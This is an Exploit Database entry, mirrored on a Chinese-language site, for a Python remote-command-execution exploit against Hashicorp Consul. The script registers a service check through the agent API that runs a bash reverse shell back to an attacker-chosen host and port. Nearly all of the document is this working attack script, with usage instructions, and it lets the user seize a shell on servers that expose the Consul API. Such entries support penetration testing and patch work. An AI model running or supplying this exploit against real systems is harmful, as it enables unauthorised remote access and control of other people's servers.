Hashicorp Consul v1.0 – Remote Command Execution (RCE)

• Exploit Database
• 19 阅读

• 作者： GatoGamer1155
  日期： 2023-03-28
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51117/

• # Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
  # Date: 26/10/2022
  # Exploit Author: GatoGamer1155, 0bfxgh0st
  # Vendor Homepage: https://www.consul.io/
  # Description: Exploit for gain reverse shell on Remote Command Execution via API
  # References: https://www.consul.io/api/agent/service.html
  # Tested on: Ubuntu Server
  # Software Link: https://github.com/hashicorp/consul
  
  import requests, sys
  
  if len(sys.argv) < 6:
  print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
  exit(1)
  
  target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
  headers = {"X-Consul-Token": f"{sys.argv[5]}"}
  json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
  
  try:
  requests.put(target, headers=headers, json=json)
  print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
  except:
  print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")